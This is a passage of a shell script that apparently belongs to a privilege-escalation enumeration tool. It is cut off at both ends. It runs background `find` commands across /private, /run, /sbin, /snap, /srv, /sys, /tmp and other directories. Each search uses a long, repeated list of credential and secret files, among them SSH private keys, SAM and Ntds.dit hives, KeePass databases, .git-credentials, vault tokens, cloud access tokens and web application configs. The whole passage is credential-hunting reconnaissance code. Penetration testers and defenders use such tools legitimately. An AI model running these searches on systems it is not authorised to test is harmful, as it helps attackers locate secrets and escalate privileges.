\"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_PRIVATE=`eval_bckgrd "find /private -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_RUN=`eval_bckgrd "find /run -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SBIN=`eval_bckgrd "find /sbin -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SNAP=`eval_bckgrd "find /snap -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SRV=`eval_bckgrd "find /srv -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYS=`eval_bckgrd "find /sys -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"*.timer\" -o -name \"*.service\" -o -name \"rocketchat.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_TMP=`eval_bckgrd "find /tmp -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name 